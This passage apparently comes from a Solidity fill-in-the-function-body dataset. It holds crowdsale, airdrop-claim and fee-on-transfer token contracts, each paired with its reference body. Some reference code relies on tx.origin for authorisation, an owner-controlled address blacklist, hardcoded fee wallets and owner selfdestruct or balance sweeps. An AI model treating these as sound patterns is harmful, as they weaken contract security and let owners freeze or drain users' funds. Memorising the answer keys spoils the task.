convertToUSD(balanceList[i].mapBalanceETH, balanceList[i].mapBalanceBTC); uint tokensCount = USDbalance.mul(priceUSD); tokenReward.mintToken(balanceList[i].mapAddress, tokensCount + balanceList[i].bonusTokens); TokenAmountToPay_local = TokenAmountToPay_local.sub(tokensCount); balanceList[i].mapBalanceETH = 0; balanceList[i].mapBalanceBTC = 0; } TokenAmountToPay = TokenAmountToPay_local; DistributionNextPos = nextpos; } function finishDistribution() onlyOwner { require ((TokenAmountToPay == 0)||(DistributionNextPos >= balanceList.length)); // tokenReward.finishMinting(); tokenReward.transferOwnership(owner); selfdestruct(owner); } /** * Withdraw the funds * * Checks to see if goal was not reached, each contributor can withdraw * the amount they contributed. */ function safeWithdrawal() public afterDeadline { require(crowdSaleState == CrowdSaleState.Failure); uint pos = balanceMapPos[msg.sender]; require((pos>0)&&(pos<=balanceList.length)); pos--; uint amount = balanceList[pos].mapBalanceETH; balanceList[pos].mapBalanceETH = 0; if (amount > 0) { msg.sender.transfer(amount); FundTransfer(msg.sender, amount, false); } } /** * If something goes wrong owner could destroy the contract after 2 weeks from the crowdfunding end * In this case the token distribution or sum refund will be performed in mannual */ function killContract() public onlyOwner { require(now >= endTime + selfDestroyTime); tokenReward.transferOwnership(owner); selfdestruct(owner); } /** * Add a new bonus code, only owner could call */ function AddBonusToListFromArray(bytes32[] bonusCode, uint[] ETHsumInFinney, uint[] BTCsumInFinney) public onlyOwner { require(bonusCode.length == ETHsumInFinney.length); require(bonusCode.length == BTCsumInFinney.length); for (uint i = 0; i < bonusCode.length; i++) { AddBonusToList(bonusCode[i], ETHsumInFinney[i], BTCsumInFinney[i] ); } } /** * Add a new bonus code, only owner could call */ function AddBonusToList(bytes32 bonusCode, uint ETHsumInFinney, uint BTCsumInFinney) public onlyOwner { uint pos = bonusesMapPos[bonusCode]; if (pos > 0) { pos -= 1; bonusesList[pos].maxBonusETH = ETHsumInFinney * 1 finney; bonusesList[pos].maxBonusBTC = BTCsumInFinney * 1 finney; } else { bonusStruct memory newStruct; newStruct.balancePos = 0; newStruct.notempty = false; newStruct.maxBonusETH = ETHsumInFinney * 1 finney; newStruct.maxBonusBTC = BTCsumInFinney * 1 finney; newStruct.bonusETH = 0; newStruct.bonusBTC = 0; newStruct.bonusPercent = 20; pos = bonusesList.push(newStruct); bonusesMapPos[bonusCode] = pos; } } bool public BonusesDistributed = false; uint public BonusCalcPos = 0; // bytes public lastdata; function checkBonus(uint newBalancePos, uint sumETH, uint sumBTC, uint TransTime, uint pos) internal { if (pos > 0) { pos--; if (!bonusesList[pos].notempty) { bonusesList[pos].balancePos = newBalancePos; bonusesList[pos].notempty = true; } else { if (bonusesList[pos].balancePos != newBalancePos) return; } bonusesList[pos].bonusETH = bonusesList[pos].bonusETH.add(sumETH); // if (bonusesList[pos].bonusETH > bonusesList[pos].maxBonusETH) // bonusesList[pos].bonusETH = bonusesList[pos].maxBonusETH; bonusesList[pos].bonusBTC = bonusesList[pos].bonusBTC.add(sumBTC); // if (bonusesList[pos].bonusBTC > bonusesList[pos].maxBonusBTC) // bonusesList[pos].bonusBTC = bonusesList[pos].maxBonusBTC; } } /** * Calc the number of bonus tokens for N next bonus participants, only owner could call */ function calcNextNBonuses(uint N) public onlyOwner { require(crowdSaleState == CrowdSaleState.Success); require(!BonusesDistributed); uint nextPos = BonusCalcPos + N; if (nextPos > bonusesList.length) nextPos = bonusesList.length; uint bonusCapUSD_local = bonusCapUSD; for (uint i = BonusCalcPos; i < nextPos; i++) { if ((bonusesList[i].notempty) && (bonusesList[i].balancePos < balanceList.length)) { uint maxbonus = convertToUSD(bonusesList[i].maxBonusETH, bonusesList[i].maxBonusBTC); uint bonus = convertToUSD(bonusesList[i].bonusETH, bonusesList[i].bonusBTC); if (maxbonus < bonus) bonus = maxbonus; bonus = bonus.mul(priceUSD); if (bonusCapUSD_local >= bonus) { bonusCapUSD_local = bonusCapUSD_local - bonus; } else { bonus = bonusCapUSD_local; bonusCapUSD_local = 0; } bonus = bonus.mul(bonusesList[i].bonusPercent) / 100; balanceList[bonusesList[i].balancePos].bonusTokens = bonus; if (bonusCapUSD_local == 0) { BonusesDistributed = true; break; } } } bonusCapUSD = bonusCapUSD_local; BonusCalcPos = nextPos; if (nextPos >= bonusesList.length) { BonusesDistributed = true; } } }
// require(_startTime >= now); SetStartTime(_startTime, durationInHours); bonusCapUSD = bonusCapUSD * USDDecimals;
function TSBCrowdFundingContract( uint _startTime, uint durationInHours, string tokenName, string tokenSymbol ) NamedOwnedToken(tokenName, tokenSymbol) public
function TSBCrowdFundingContract( uint _startTime, uint durationInHours, string tokenName, string tokenSymbol ) NamedOwnedToken(tokenName, tokenSymbol) public
65,246
ERNEDistribution
claim
contract ERNEDistribution { // Signature Address address private signer; // ECDSA Address using ECDSA for address; // Users Count initialzed to zero at deployment uint256 public count = 0; // NFT token address address public NFT; // NFT token ID; uint256 public tokenId; // Start Time will be time of deployment uint256 public strTime; // Contract owner address address public owner; // ERNE NFT Holder Address address public erc1155Holder; // Signature Message Hash mapping(bytes32 => bool)public msgHash; //user claimstatus mapping(address => bool) public claimStatus; constructor (address _signer, address _nft, uint256 _tokenid, address _erc1155Holder) public{ // Initialization signer = _signer; NFT = _nft; tokenId = _tokenid; strTime = now; owner = msg.sender; erc1155Holder = _erc1155Holder; } /** * @notice claim ERNE tokens. * * Only for 20 days from the date of deployment * * Only for first 150,000 users * * First 10,000 Claimers will get ERNE NFT * @param tokenAddr The ERNE token address. * @param amount The amount of token to transfer. * @param deadline The deadline for signature. * @param signature The signature created with 'signer' */ function claim(address tokenAddr, uint amount, uint deadline, bytes calldata signature) public {<FILL_FUNCTION_BODY> } /** * @dev Ethereum Signed Message, created from `hash` * @dev Returns the address that signed a hashed message (`hash`) with `signature`. */ function verifySignature(bytes32 _messageHash, bytes memory _signature) public pure returns (address signatureAddress) { bytes32 hash = ECDSA.toEthSignedMessageHash(_messageHash); signatureAddress = ECDSA.recover(hash, _signature); } /** * @dev Returns hash for given data */ function message(address _receiver , uint256 _amount , uint256 _blockExpirytime) public view returns(bytes32 messageHash) { messageHash = keccak256(abi.encodePacked(address(this), _receiver, _amount, _blockExpirytime)); } /** * @notice claimPendingToken Owner can withdraw pending tokens from contract. * @param tokenAddr ERNE token address. */ function claimPendingToken(address tokenAddr) public { // Owner call check require(msg.sender == owner, "Erne::only Owner"); // Pending token transfer IERC20(tokenAddr).transfer(msg.sender, IERC20(tokenAddr).balanceOf(address(this))); } }
contract ERNEDistribution { // Signature Address address private signer; // ECDSA Address using ECDSA for address; // Users Count initialzed to zero at deployment uint256 public count = 0; // NFT token address address public NFT; // NFT token ID; uint256 public tokenId; // Start Time will be time of deployment uint256 public strTime; // Contract owner address address public owner; // ERNE NFT Holder Address address public erc1155Holder; // Signature Message Hash mapping(bytes32 => bool)public msgHash; //user claimstatus mapping(address => bool) public claimStatus; constructor (address _signer, address _nft, uint256 _tokenid, address _erc1155Holder) public{ // Initialization signer = _signer; NFT = _nft; tokenId = _tokenid; strTime = now; owner = msg.sender; erc1155Holder = _erc1155Holder; } <FILL_FUNCTION> /** * @dev Ethereum Signed Message, created from `hash` * @dev Returns the address that signed a hashed message (`hash`) with `signature`. */ function verifySignature(bytes32 _messageHash, bytes memory _signature) public pure returns (address signatureAddress) { bytes32 hash = ECDSA.toEthSignedMessageHash(_messageHash); signatureAddress = ECDSA.recover(hash, _signature); } /** * @dev Returns hash for given data */ function message(address _receiver , uint256 _amount , uint256 _blockExpirytime) public view returns(bytes32 messageHash) { messageHash = keccak256(abi.encodePacked(address(this), _receiver, _amount, _blockExpirytime)); } /** * @notice claimPendingToken Owner can withdraw pending tokens from contract. * @param tokenAddr ERNE token address. */ function claimPendingToken(address tokenAddr) public { // Owner call check require(msg.sender == owner, "Erne::only Owner"); // Pending token transfer IERC20(tokenAddr).transfer(msg.sender, IERC20(tokenAddr).balanceOf(address(this))); } }
//Check msg.sender claim status require(!claimStatus[tx.origin], "Erne::claim: Duplicate call"); // Time and count check require((now <= (strTime + 20 days)) && count < 150000 , "Erne::claim: time expired/Count exceeds"); //messageHash can be used only once bytes32 messageHash = message(tx.origin, amount, deadline); require(!msgHash[messageHash], "Erne::claim: signature duplicate"); //Verifes signature address src = verifySignature(messageHash, signature); require(signer == src, "Erne::claim: unauthorized"); //Chage the Status of used messageHash msgHash[messageHash] = true; //Chage the Status of user claim status claimStatus[tx.origin] = true; // First 10,000 Claimers will get ERNE NFT if(count < 10000) { IERC1155(NFT).safeTransferFrom(erc1155Holder, msg.sender, tokenId, 1, "0x0"); } count = count + 1; //ERNE Transfer IERC20(tokenAddr).transfer(msg.sender,amount);
function claim(address tokenAddr, uint amount, uint deadline, bytes calldata signature) public
/** * @notice claim ERNE tokens. * * Only for 20 days from the date of deployment * * Only for first 150,000 users * * First 10,000 Claimers will get ERNE NFT * @param tokenAddr The ERNE token address. * @param amount The amount of token to transfer. * @param deadline The deadline for signature. * @param signature The signature created with 'signer' */ function claim(address tokenAddr, uint amount, uint deadline, bytes calldata signature) public
55,086
StartamaGo
null
contract StartamaGo is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Startama Go"; string private constant _symbol = "StartamaGo"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () {<FILL_FUNCTION_BODY> } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract StartamaGo is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _feeAddr1; uint256 private _feeAddr2; address payable private _feeAddrWallet1; address payable private _feeAddrWallet2; string private constant _name = "Startama Go"; string private constant _symbol = "StartamaGo"; uint8 private constant _decimals = 9; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } <FILL_FUNCTION> function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); _feeAddr1 = 2; _feeAddr2 = 8; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) { // Cooldown require(amount <= _maxTxAmount); require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (30 seconds); } if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) { _feeAddr1 = 2; _feeAddr2 = 10; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _tokenTransfer(from,to,amount); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _feeAddrWallet1.transfer(amount.div(2)); _feeAddrWallet2.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 1e12 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } function setBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function removeStrictTxLimit() public onlyOwner { _maxTxAmount = 1e12 * 10**9; } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer(address sender, address recipient, uint256 amount) private { _transferStandard(sender, recipient, amount); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function manualswap() external { require(_msgSender() == _feeAddrWallet1); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _feeAddrWallet1); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
_feeAddrWallet1 = payable(0x5d252470fe783cC08BAF560617801Cbc54fEdcBc); _feeAddrWallet2 = payable(0xc70225540C2b99B66fB1CE90DF6A6fb37Bb691D6); _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_feeAddrWallet1] = true; _isExcludedFromFee[_feeAddrWallet2] = true; emit Transfer(address(0x0000000000000000000000000000000000000000), _msgSender(), _tTotal);
constructor ()
constructor ()
11,144
SynchroCoin
proxyPayment
contract SynchroCoin is Ownable, StandardToken { string public constant symbol = "SYC"; string public constant name = "SynchroCoin"; uint8 public constant decimals = 12; uint256 public STARTDATE; uint256 public ENDDATE; // 55% to distribute during CrowdSale uint256 public crowdSale; // 20% to pool to reward // 25% to other business operations address public multisig; function SynchroCoin( uint256 _initialSupply, uint256 _start, uint256 _end, address _multisig) { totalSupply = _initialSupply; STARTDATE = _start; ENDDATE = _end; multisig = _multisig; crowdSale = _initialSupply * 55 / 100; balances[multisig] = _initialSupply; } // crowdsale statuses uint256 public totalFundedEther; //This includes the Ether raised during the presale. uint256 public totalConsideredFundedEther = 338; mapping (address => uint256) consideredFundedEtherOf; mapping (address => bool) withdrawalStatuses; function calcBonus() public constant returns (uint256){ return calcBonusAt(now); } function calcBonusAt(uint256 at) public constant returns (uint256){ if (at < STARTDATE) { return 140; } else if (at < (STARTDATE + 1 days)) { return 120; } else if (at < (STARTDATE + 7 days)) { return 115; } else if (at < (STARTDATE + 14 days)) { return 110; } else if (at < (STARTDATE + 21 days)) { return 105; } else if (at <= ENDDATE) { return 100; } else { return 0; } } function() public payable { proxyPayment(msg.sender); } function proxyPayment(address participant) public payable {<FILL_FUNCTION_BODY> } event Fund( address indexed buyer, uint256 ethers, uint256 totalEther ); function withdraw() public returns (bool success){ return proxyWithdraw(msg.sender); } function proxyWithdraw(address participant) public returns (bool success){ require(now > ENDDATE); require(withdrawalStatuses[participant]); require(totalConsideredFundedEther > 1); uint256 share = crowdSale.mul(consideredFundedEtherOf[participant]).div(totalConsideredFundedEther); participant.transfer(share); withdrawalStatuses[participant] = false; return true; } /* Send coins */ function transfer(address _to, uint256 _amount) public returns (bool success) { require(now > ENDDATE); return super.transfer(_to, _amount); } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(now > ENDDATE); return super.transferFrom(_from, _to, _amount); } }
contract SynchroCoin is Ownable, StandardToken { string public constant symbol = "SYC"; string public constant name = "SynchroCoin"; uint8 public constant decimals = 12; uint256 public STARTDATE; uint256 public ENDDATE; // 55% to distribute during CrowdSale uint256 public crowdSale; // 20% to pool to reward // 25% to other business operations address public multisig; function SynchroCoin( uint256 _initialSupply, uint256 _start, uint256 _end, address _multisig) { totalSupply = _initialSupply; STARTDATE = _start; ENDDATE = _end; multisig = _multisig; crowdSale = _initialSupply * 55 / 100; balances[multisig] = _initialSupply; } // crowdsale statuses uint256 public totalFundedEther; //This includes the Ether raised during the presale. uint256 public totalConsideredFundedEther = 338; mapping (address => uint256) consideredFundedEtherOf; mapping (address => bool) withdrawalStatuses; function calcBonus() public constant returns (uint256){ return calcBonusAt(now); } function calcBonusAt(uint256 at) public constant returns (uint256){ if (at < STARTDATE) { return 140; } else if (at < (STARTDATE + 1 days)) { return 120; } else if (at < (STARTDATE + 7 days)) { return 115; } else if (at < (STARTDATE + 14 days)) { return 110; } else if (at < (STARTDATE + 21 days)) { return 105; } else if (at <= ENDDATE) { return 100; } else { return 0; } } function() public payable { proxyPayment(msg.sender); } <FILL_FUNCTION> event Fund( address indexed buyer, uint256 ethers, uint256 totalEther ); function withdraw() public returns (bool success){ return proxyWithdraw(msg.sender); } function proxyWithdraw(address participant) public returns (bool success){ require(now > ENDDATE); require(withdrawalStatuses[participant]); require(totalConsideredFundedEther > 1); uint256 share = crowdSale.mul(consideredFundedEtherOf[participant]).div(totalConsideredFundedEther); participant.transfer(share); withdrawalStatuses[participant] = false; return true; } /* Send coins */ function transfer(address _to, uint256 _amount) public returns (bool success) { require(now > ENDDATE); return super.transfer(_to, _amount); } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _amount) public returns (bool success) { require(now > ENDDATE); return super.transferFrom(_from, _to, _amount); } }
require(now >= STARTDATE); require(now <= ENDDATE); //require msg.value >= 0.1 ether require(msg.value >= 100 finney); totalFundedEther = totalFundedEther.add(msg.value); uint256 _consideredEther = msg.value.mul(calcBonus()).div(100); totalConsideredFundedEther = totalConsideredFundedEther.add(_consideredEther); consideredFundedEtherOf[participant] = consideredFundedEtherOf[participant].add(_consideredEther); withdrawalStatuses[participant] = true; // Log events Fund( participant, msg.value, totalFundedEther ); // Move the funds to a safe wallet multisig.transfer(msg.value);
function proxyPayment(address participant) public payable
function proxyPayment(address participant) public payable
66,611
admined
setTransferLockFree
contract admined { //This token contract is administered address public admin; //Admin address is public bool public lockTransfer; //Transfer Lock flag address public allowedAddress; //an address that can override lock condition /** * @dev Contract constructor * define initial administrator */ function admined() internal { admin = msg.sender; //Set initial admin to contract creator allowedAddress = msg.sender; AllowedSet(allowedAddress); Admined(admin); } /** * @dev Function to set an allowed address * @param _to The address to give privileges. */ function setAllowedAddress(address _to) onlyAdmin public { allowedAddress = _to; AllowedSet(_to); } modifier onlyAdmin() { //A modifier to define admin-only functions require(msg.sender == admin); _; } modifier transferLock() { //A modifier to lock transactions require(lockTransfer == false || allowedAddress == msg.sender); _; } /** * @dev Function to set new admin address * @param _newAdmin The address to transfer administration to */ function transferAdminship(address _newAdmin) onlyAdmin public { //Admin can be transfered require(_newAdmin != address(0x0)); admin = _newAdmin; TransferAdminship(admin); } /** * @dev Function to set transfer lock */ function setTransferLockFree() onlyAdmin public {<FILL_FUNCTION_BODY> } //All admin actions have a log for public review event AllowedSet(address _to); event SetTransferLock(bool _set); event TransferAdminship(address newAdminister); event Admined(address administer); }
contract admined { //This token contract is administered address public admin; //Admin address is public bool public lockTransfer; //Transfer Lock flag address public allowedAddress; //an address that can override lock condition /** * @dev Contract constructor * define initial administrator */ function admined() internal { admin = msg.sender; //Set initial admin to contract creator allowedAddress = msg.sender; AllowedSet(allowedAddress); Admined(admin); } /** * @dev Function to set an allowed address * @param _to The address to give privileges. */ function setAllowedAddress(address _to) onlyAdmin public { allowedAddress = _to; AllowedSet(_to); } modifier onlyAdmin() { //A modifier to define admin-only functions require(msg.sender == admin); _; } modifier transferLock() { //A modifier to lock transactions require(lockTransfer == false || allowedAddress == msg.sender); _; } /** * @dev Function to set new admin address * @param _newAdmin The address to transfer administration to */ function transferAdminship(address _newAdmin) onlyAdmin public { //Admin can be transfered require(_newAdmin != address(0x0)); admin = 